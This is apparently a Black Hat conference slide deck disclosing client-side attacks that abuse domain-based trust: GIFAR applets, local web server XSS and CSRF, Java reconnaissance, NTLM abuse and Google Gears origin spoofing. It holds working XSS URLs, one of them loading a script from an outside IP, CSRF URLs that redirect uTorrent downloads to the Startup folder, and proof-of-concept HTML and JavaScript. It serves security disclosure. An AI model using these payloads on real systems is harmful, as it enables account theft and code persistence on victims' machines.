



Black Hat



Beyond Document.Cookie

Welcome



Nate McFeters



Billy Rios



Rob Carter



John Heasman

Our Mission:

“Demonstrate a *feasible compromise* of an organization via client-side attacks that require *no code execution* and that even work against IE running in *Protected Mode*.“

Las Vegas looks the way you'd imagine heaven must look at night - Chuck Palahniuk

Agenda

- The Flaw of Domain-Based Trust
 - What Relies on Domain-Based Trust?
 - Overview of Same Origin Policy
 - Content Ownership and Content “PWNERSHIP”
- Abusing Domain-Based Trust
 - JVM DNS Rebinding
 - GIFAR Attacks
- Java: The Land Time Forgot
 - Java Network Reconnaissance
 - Loading Content from Local
 - Abusing NTLM
 - Repurposing Signed Content
- A Word About Online Word Document Editing
 - Repurposing Java Applets in ThinkFree
 - I am the Mayor of Oak Tree: Stealing Google Documents
- Local Web Servers
 - uTorrent CSRF
 - Cross-Zone Scripting
 - Azureus Web UI XSS
 - Eclipse Help System XSS
- Other Oddities
 - Windows Vista Version Trick
 - Google Gears Origin Spoofing

Las Vegas is sort of like how God would do it if he had money - Steve Wynn

What We're Going to Talk About

- Flaws in Domain Based Trust
- Blended Attacks
- Web 2.0 Attacks
- Weaponized examples against well known apps
- Why Web Application Firewalls and PCI certifications are NOT helping you with this talk

Las Vegas is sort of like how God would do it if he had money - Steve Wynn

Impact

- Dan's DNS Bug > Our Research > A LOT
- LOTS of web applications are affected
- Many of the most well known/widely used domains were/are affected

Las Vegas is sort of like how God would do it if he had money - Steve Wynn

The Flaw of Domain-Based Trust

Ahhh... sweet Domain-Based Trust

Jesus, where will it end? How low do you have to stoop in this country to become president? –
Hunter S. Thompson

What Relies on Domain-Based Trust?

- Same Origin Policy
- SSL Certificates
- Phishing Filters
- Human Trust
- The Internet

For a loser, Vegas is the meanest town on earth - Hunter S. Thompson

Overview of the Same Origin Policy

- Goal is to prevent a resource loaded from one site manipulating or communicating with another site
- Evil.com should not be able drive interaction on my behalf to bank.com

I mean, what do you do in Las Vegas? You gamble - and you go to strip clubs - Scott Caan

Not The Same Old “Same Origin Policy”

- Not all Same Origin (SO) bypasses are created equal
 - I. Full: connect to any machine any where
 - II. Partial: reference our content on target site

Las Vegas is sort of like how God would do it if he had money - Steve Wynn

The Flaw of Domain-Based Trust


Content Ownership and PWNERSHIP

Man, I really like Vegas - Elvis Presley

Abusing code.google.com file uploads

- Upload arbitrary files code.google.com by attaching a file to the “issues” portion of a project
- Uploaded file is served from code.google.com
- As each project has it’s own directory, can’t use crossdomain.xml file and Flash
- Java doesn’t have this restriction, so upload an applet

PWNERSHIP – A Quick Example



Las Vegas is sort of like how God would do it if he had money - Steve Wynn

Issue 1 - crossdomain - Google Code - Windows Internet Explorer

http://code.google.com/p/crossdomain/issues/detail?id=1#makechan

Issue 1 - crossdomain - Google Code

Issue 1: ★ **Java Applets! h0n0!**
1 person starred this issue and may be notified of changes.

Status: Accepted	Reported by	Today (29 minutes ago)
Owner:	Crossdomain Vuln	
Type: Defect		
Priority: Medium		

Las Vegas is sort of like how God would do it if he had money - Steve Wynn

 **xssniper3.jar**
2.0 KB [Download](#)

Add a Comment and Make Changes

```
h0n0!   I've been pwnd!
```

File Edit Format View Help

```
<html>
<body>

<applet codebase='http://code.google.com/p/crossdomain/issues/' archive="attachment?
aid=2002298066060385132&name=xssniper3.jar" code="codecrossdomain.class" name='h0n0'
width='1200' height='800'> </applet>

</body>
</html>
```

Las Vegas is sort of like how God would do it if he had money - Steve Wynn

What does this get US?

- A “Bridge” is created
- Applet can talk to your domain
- My webpage (evil.com) can talk to the APPLET
- We use your cookies 😊
- We drive interaction on your behalf

Stealing GoogleCode Password

Billy (BK) Rios

Thoughts on Security in an Uncivilized World...

Cross Domain Vulnerability in Code.Google.Com (with assorted Java Applet trickery)

If you're logged into google, you'll see some interesting items below!

Your GoogleCode Password: JM [REDACTED] 5

code.google.com CSRF token: "1aec0859f4b725e2181b29ad7661ae35"

That sh*t was crazy dawg! – Billy BK Rios

General Content Ownership Issues

- Any site that takes ownership of someone else's content is at risk
- Seems obvious if a site will take arbitrary uploads of executable code or dynamic server side code and put it in a predictable location
 - What if it's not the same domain and protected by cookies, i.e. domain rewriting?

General Content Ownership Issues

Cont'd

- What about images, text, video, word documents, XML, etc? Is this OK?
 - XML leads to the upload of a crossdomain.xml policy file for attacking Flash for bypass of Same Origin Policy
 - Images, Video, Word Docs, all have possible file format flaws
 - What about GIFARS?
 - Wait, what's a GIFAR?
 - You'll see...

Brett, will you please just get me some cereal and some Pepto Bismol... I'm seriously dying man.

– Nate McFeters

Enter Jafar Attacks



You took too much man, too much, too much. – Benecio Del Toro

That's GIFAR Attacks, Not Jafar

- What's a GIFAR?
 - A combination of a GIF and a JAR resulting from the fact that a JAR keeps its relevant data within the footer of a file, whereas GIFs keep their relevant metadata in the header
 - Allows us to create a file that is both a GIF and a JAR
 - Will load just as any image would, but will also load as a JAR (Applet in this case)

He who makes a beast out of himself gets rid of the pain of being a man. – Hunter S. Thompson

What's WRONG with this Picture?




Las Vegas is sort of like how God would do it if he had money - Steve Wynn

These aren't the JARs you're looking for



2 - notajar.gif

dit Search Address Bookmarks Tools XViScript Help



0	47	49	46	38	39	61	67	01	2C	01	F7	00	00	00	00	00	80	00	G	I	F	B	9	a	g	
12	00	00	80	00	80	80	00	00	00	80	80	00	80	00	80	80	80	80			€		€	€		
24	80	C0	C0	C0	FF	00	00	00	FF	00	FF	FF	00	00	00	FF	FF	00		€	À	À	À	ÿ		

		M	E	T	A	-	I	N	F	/	p	Ê		P	K		
7	¶	¶	•	•		d	G	...	8	Â	ö	5		G			
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		L	L	.					L								

What does this get US?

- A “Bridge” is created
- Applet can talk to your domain
- My webpage (evil.com) can talk to the APPLET
- We use your cookies 😊
- We drive interaction on your behalf

Real Life Example?

- Google
 - Why Google?
 - Fixed?
 - Others?



My Photos My

Albums (2) Sort

Upload Photos: Create or Select Album

Choose an album below or [create a new album](#).

- Blogger Pictures
Unlisted
- Security Tests
Public

Select Album

Cancel

Upload Photos to: **Security Tests**

Select photos to upload

C:\Users\birios\Desktop\Working\Goog



These aren't the JARs you're looking for....

[Add a Caption](#)

```
<HTML>
  <HEAD>
    <TITLE>Jar Pwn</TITLE>
  </HEAD>

  <BODY>
    <APPLET code="hiddenjar.class" archive="NotAJar.gif"
      codebase="http://lh4.google.com/          /SCp-
      width="800" height="100">

    </APPLET>
  </BODY>
</HTML>
```



Billy (BK) Rios

Thoughts on Security in an Uncivilized World...

Hidden Jars - AKA - These aren't the JARS you're looking for - Google

If you're logged into google, you'll see some interesting items below!

Address: @gmail.com

Address: gmail.com

Address: dhanjani.com

Address: gmail.com

Address: ngssoftware.com

Address: @gmail.com

Address: gmail.com

Address: @gmail.com

Address: @gmail.com

Address: gmail.com

Address: @gmail.com

Address: gmail.com

Whose Fault is This?!?!

- It's easy to blame Java (most people will)
- Application level issue?
- Content Ownership/Pwnership
 - Protect the Integrity of the Domain Name
 - Understand how browsers/popular third parties establish SOP
 - Be **EXTREMELY** careful of pwnership
- In a cloud computing environment it's worse

This Image is Not the JAR You Are Looking For

- Jedi-mind trick on Java Virtual Machine that allows an image to also be an applet
- By the way, it's not just images
- Why is this useful? Well, how many sites allow you to load images?
 - Youtube, GMail, Yahoo! Mail, Nearly all Social Networking Apps, Forums, etc.
- We now can combine with other vectors and control the Intarwebz.

A weekend in Vegas without gambling and drinking is just like being a born-again Christian.

- Artie Lange

Local Webservers

- More and more apps want HTTP IPC:
 - E.g. Google Desktop, Picasa,
- “localhost” is Local Intranet Zone
- XSS/XSRF lets us cross zones



I mean, what do you do in Las Vegas? You gamble - and you go to strip clubs - Scott Caan



Locally Running Web Servers

Cross-Zone Scripting

Las Vegas is sort of like how God would do it if he had money - Steve Wynn

Cross-Zone Scripting

- Locally running web servers are vulnerable to Cross-Zone Scripting attacks
- What are the zones:
 - Internet (high security)
 - Local Intranet (medium-low security)
 - Restricted (very high security)
 - Trusted (low security)
- To get into the trusted zone requires the user or a trusted program to put you there
- We want to get into the Local Intranet zone

For a loser, Vegas is the meanest town on earth - Hunter S. Thompson

The “localhost” is in the Intranet Zone


- What sites are in Local Intranet by default?
 - All network connections established with the Universal Naming Convention (e.g. \192.168.0.3\share)
 - Web sites that bypass the proxy server
 - Web sites with names that don't include periods (.)
- What's another name for 127.0.0.1 in almost every operating system out there?
 - localhost!
 - Contains no periods
 - All ports for localhost are fair game

He who makes a beast out of himself gets rid of the pain of being a man. – Hunter S. Thompson

What Advantage Does Local Intranet Give?

- What can we do in the Local Intranet Zone?
 - Same origin is not strictly enforced like in the Internet Zone
 - Useful for other attacks requiring the lowered privileges of the intranet zone like John's password hash stealer
 - Phishing filter disabled
 - Pop-up blocker disabled
 - No size or positioning constraints for new windows created from the local intranet zone

We can't stop here this is bat country. – Hunter S. Thompson



Locally Running Web Servers

Azureus Web UI XSS

I mean, what do you do in Las Vegas? You gamble - and you go to strip clubs - Scott Caan

What is Azureus?


- Popular torrent client
- Azureus comes with a web UI plugin built in, but not enabled by default.
- This is useful for remote administration of torrent downloads

Jesus, where will it end? How low do you have to stoop in this country to become president? –

Hunter S. Thompson

Azureus Web UI XSS

- Sample XSS attack vectors:
 - `http://localhost:6886/index.tpl?search="));alert('xss');//`
 - `http://localhost:6886/index.tpl?d=d&t="));alert('xss');//`



I lost \$35,000 in less than a week at the Mirage in Las Vegas. - Dennis Rodman



Locally Running Web Servers

Eclipse Help System XSS


Las Vegas is sort of like how God would do it if he had money - Steve Wynn

Locally Running Web Server in Eclipse

- Eclipse help system starts Apache Coyote web server... used for help for Integrated Dev Environment (IDE)
- IDE that is used as the basis for many different products
 - Adobe Flex Builder
 - IBM WebSphere Studio
 - SAP NetWeaver Studio
 - JBoss Eclipse IDE
 - Borland JBuilder 2007
 - MyEclipse
 - Zend Studio

Eclipse Help System XSS

- `http://localhost/help/advanced/searchView.jsp?searchWord=a");}alert('xss');</script>`
- `http://localhost/help/advanced/workingSetManager.jsp?operation=add&workingSet='%3E%3Cscript%20src%3D'http%3A%2F%2F1.2.3.4%2Fa.is'%3E%3C%2F`



No presidential candidate should visit Las Vegas without condemning organized gambling.

- Ralph Nader



Locally Running Web Servers

uTorrent CSRF

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
What is uTorrent?

- Another popular torrent client
- Web UI plugin available
 - Starts a web server on the local host
 - Like Azureus, useful for remote administration

I shouldn't be near Vegas and have money in my pocket. - Adam Sandler

uTorrent Issues

- Unfortunately, there were problems with the implementation, namely XSS and CSRF:



In Vegas, I got into a long argument with the man at the roulette wheel over what I considered to be an odd number. - Steven Wright


uTorrent CSRF

- CSRF the "Move completed downloads to" option
 - http://localhost:14774/gui/?action=setsetting&s=dir_completed_download&v=C:\Documents%20and%20Settings\All%20Users\Start%20Menu\Programs\Startup
- CSRF to add torrent and begin download
 - <http://localhost:14774/gui/?action=add-url&s=http://www.whatever.com/file.torrent>

I did my time for the crime. I paid my money to Las Vegas. I paid my dues - Mike Tyson

uTorrent CSRF

- uTorrent settings will now look like this:



Las Vegas looks the way you'd imagine heaven must look at night - Chuck Palahniuk

Java: The Land Time Forgot



“90% of desktops run
Java SE”

JavaOne 2008,
Keynote

No presidential candidate should visit Las Vegas without condemning organized gambling.

- Ralph Nader

Java: The Land Time Forgot

Java Network Reconnaissance

I lost \$35,000 in less than a week at the Mirage in Las Vegas. - Dennis Rodman

Detect VMWare and VPNs

- Applet can enumerate nw interfaces

```
java.net.NetworkInterface getNetworkInterfaces()
```

- Applet can enumerate nw interfaces
- Search for common names:
 - VPNs
 - VMWare
 - Wireless, Bluetooth

Determine the DNS Server

- Applets cannot learn DNS server
- Use JNDI to try to resolve hostname

```
hashtable.put("java.naming.factory.initial",  
             "com.sun.jndi.dns.DnsContextFactory");  
hashtable.put("java.naming.provider.url", "dns://");  
(new InitialDirContext(hashtable)).getAttributes(  
    "foo", new String[] {"A"});
```

- Grep exception for IP:

```
java.security.AccessControlException:  
access denied (java.net.SocketPermission DNSServerIP connect)“
```



In Vegas, I got into a long argument with the man at the roulette wheel over what I considered to be an odd number. - Steven Wright

Resolve Arbitrary Hostnames

- Applets cannot resolve hostnames

```
java.security.AccessControlException:  
access denied (java.net.SocketPermission hostname resolve)“
```

- Java Web Start isInstalled ActiveX
- Brute force common intranet hostnames

 IisInstalled (IisInstalled Interface)
 Methods

```
[id(0x00000007), helpstring("dnsResolve")]  
BSTR dnsResolve([in] BSTR hostname);
```

I did my time for the crime. I paid my money to Las Vegas. I paid my dues - Mike Tyson

Host-up Scan

- Applet can only connect to same origin
- But `java.net.InetAddress` contains:

```
boolean isReachable(NetworkInterface netif, int ttl, int  
timeout)
```

- Implemented in native code (no sandbox)
 - TCP connect port 7 (or ICMP echo)
- Get local IP and sweep subnets

Java: The Land Time Forgot

Loading Content From the Localhost

Las Vegas is sort of like how God would do it if he had money - Steve Wynn

File & Localhost Codebases

- Applet loaded from file://
 - Can read files from the same directory
- Applet loaded from file:// or localhost:
 - Enumerate IPs bound to each adapter
 - Listen on port (> 1025), accept from localhost
- Applet loaded from JRE\lib\ext:
 - Gets `java.Security.AllPermission`

Jesus, where will it end? How low do you have to stoop in this country to become president? –

Hunter S. Thompson

Logical Same Origin Bypasses

- Patched March 2008

```
<APPLET code="someclass" codebase="http://someurl" />
```

```
public URL(URL context, String spec) throws  
MalformedURLException
```

```
<scheme>://<authority><path>?<query>#<fragment>
```

"If the authority component is present in the spec then the spec is treated as absolute and the spec authority and path will replace the context authority and path"

```
<APPLET code="http://foo/bar" codebase="http://baz" />
```

I hadn't been in Vegas 20 minutes when I got word that the bookmakers were offering three to one that Frank wouldn't show for my wedding. - Sammy Davis, Jr.

Java: The Land Time Forgot

Abusing NTLM

Las Vegas is sort of like how God would do it if he had money - Steve Wynn



on NTLM

1. C -> S

```
GET /AuthenticatedResource
```

2. C <- S

```
HTTP/1.1 401 Unauthorized  
WWW-Authenticate: NTLM
```

3. C -> S

```
GET / Authenticated Resource  
Authorization: NTLM <base64 type-1-message>
```

4. C <- S

```
401 Unauthorized  
WWW-Authenticate: NTLM <base64 type-2-message>
```

5. C -> S

```
GET /AuthenticatedResource  
Authorization: NTLM <base64 type-3-message>
```

6. C <- S

```
HTTP/1.1 200 OK
```

For a loser, Vegas is the meanest town on earth - Hunter S. Thompson

Java & NTLM

- Use localhost partial Same Origin bypass


- Applet binds port 1234 on localhost

```
sock = new ServerSocket(1234, 0,
```

```
    InetAddress.getBy_name("127.0.0.1"));
```

- IFRAME src set to <http://localhost:1234>
- We've got a web server!

Which Means...




Man, I really like Vegas - Elvis Presley

A Word About Online Word Document Editing

Repurposing Java Attacks in
ThinkFree

I'm fu**in' dying man... - Nate McFeters

Repurposing Java: Who Do You Trust?




- Users agree to trust publishers, not <Publisher, URL>

Brett, will you please just get me some cereal and some Pepto Bismol... I'm seriously dying man.

– Nate McFeters

What is ThinkFree?

- ThinkFree is a signed applet (for disk access)
- Looks a lot like Word 2003 ... by design



If we're ever going to get out of here alive, we're going to need some golf shoes. – Hunter S. Thompson

Repurposing Java in an Office 2.0 Application

- Loader JAR is signed, remaining JARs unsigned
- Attack: Host original loader with malicious 2nd JAR
- Silent compromise of all ThinkFree users
- Patched May 2008
- Java applets can be repurposed just like ActiveX

You took too much man, too much, too much. – Benecio Del Toro


A Word About Online Word Document Editing

I am the Mayor of Oak Tree: Stealing
Google Documents

He who makes a beast out of himself gets rid of the pain of being a man. – Hunter S. Thompson

Becoming the Mayor of Oak Tree

- Unauthenticated users could view arbitrary docs by simply guessing the doc_id parameter:



In the case of an earthquake hitting Las Vegas, be sure to go straight to the Keno Lounge.
Nothing ever gets hit there. - Author Unknown

Becoming the Mayor of Oak Tree

- Unauthorized users could edit arbitrary docs:



A weekend in Vegas without gambling and drinking is just like being a born-again Christian.

- Artie Lange

Other Paths to Becoming Mayor

- Use the email collaborators feature, then replace your doc_id with someone else's and email yourself their document
- Use the publish document to blog feature, then replace your doc_id with someone else's and push the document to your blogspot blog
- Upload a crossdomain.xml file instead of a doc

No presidential candidate should visit Las Vegas without condemning organized gambling.

- Ralph Nader



Other Oddities

Google Gears JSON Injection Origin
Spoofing Attack

Las Vegas is sort of like how God would do it if he had money - Steve Wynn

Google Gears Origin Spoofing

- Gears installs client-side code
 - DLL for IE
 - XUL object for Firefox
- When you visit a page that wants to run Gears code, Gears will prompt you and ask if you would like to trust this code


http://[redacted]/gears/test4.html - Windows Internet Explorer


http://[redacted].[redacted].[redacted].[redacted]/gears/test4.html

File Edit View Favorites Tools Help

http://[redacted].[redacted].[redacted].[redacted]/gears/test4.html

Google Gears Security Warning

 The website below wants to use Google Gears. This site will be able to store and access information on your computer. [What is this?](#)

 **Google Code**
[http://\[redacted\].\[redacted\].\[redacted\].\[redacted\]](http://[redacted].[redacted].[redacted].[redacted])
Trusted Google Code Gears Application for Pwning U

I trust this site. Allow it to use Google Gears.

[Never allow this site](#)

Google Gears Origin Spoofing

- An ActiveX object is created
- The factory function `getPermission()` is then called

```
<html>
<script>
if(typeof GearsFactory != 'undefined') {
    factory = new GearsFactory();
} else {
    factory = new ActiveXObject('Gears.Factory');
}
try {
factory.getPermission("Google Code\\",\\"origin\\":\\"http://
code.google.com\\\"", "gears_sm_1.png", "Trusted Google
Code Gears Application for Pwning U");
}catch (e) {
    alert(e.message);
}
db = factory.create('beta.database');
db.open('0mgurs0pwn3d');
</script>
</html>
```


Google Gears Origin Spoofing


- The information in the parameters for `getPermission()` is passed to the modal dialog box through a JSON object

```
{  
  "customIcon" : "http://ipaddress/gears/gears_sm_1.png",  
  "customMessage" : "Trusted Google Code Gears Application  
    for Pwning U",  
  "customName" : "Google Code\  
",  
  "origin" : "http://ipaddress"  
}
```

Google Gears Origin Spoofing

- Turns out the “customName” parameter doesn’t sanitize for double quotes

```
{
  "customIcon" : "http://ipaddress/gears/gears_sm_1.png",
  "customMessage" : "Trusted Google Code Gears
Application          for Pwning U",
  "customName" : "Google Code", "origin" :
                    "http://code.google.com"}
  "origin" : "http://ipaddress"
}
```



Conclusions and Thoughts

- Blended Threats lead to unexpected attack paths
- The attacks discussed could fairly easily be used on a large number of sites in a worm like fashion
- If we suck at protecting our very real physical systems, how can we expect to protect our abstract “cloud” of computers?

In the case of an earthquake hitting Las Vegas, be sure to go straight to the Keno Lounge.

Nothing ever gets hit there. - Author Unknown

Questions?

- Haaaawhhhhhaaaattt????

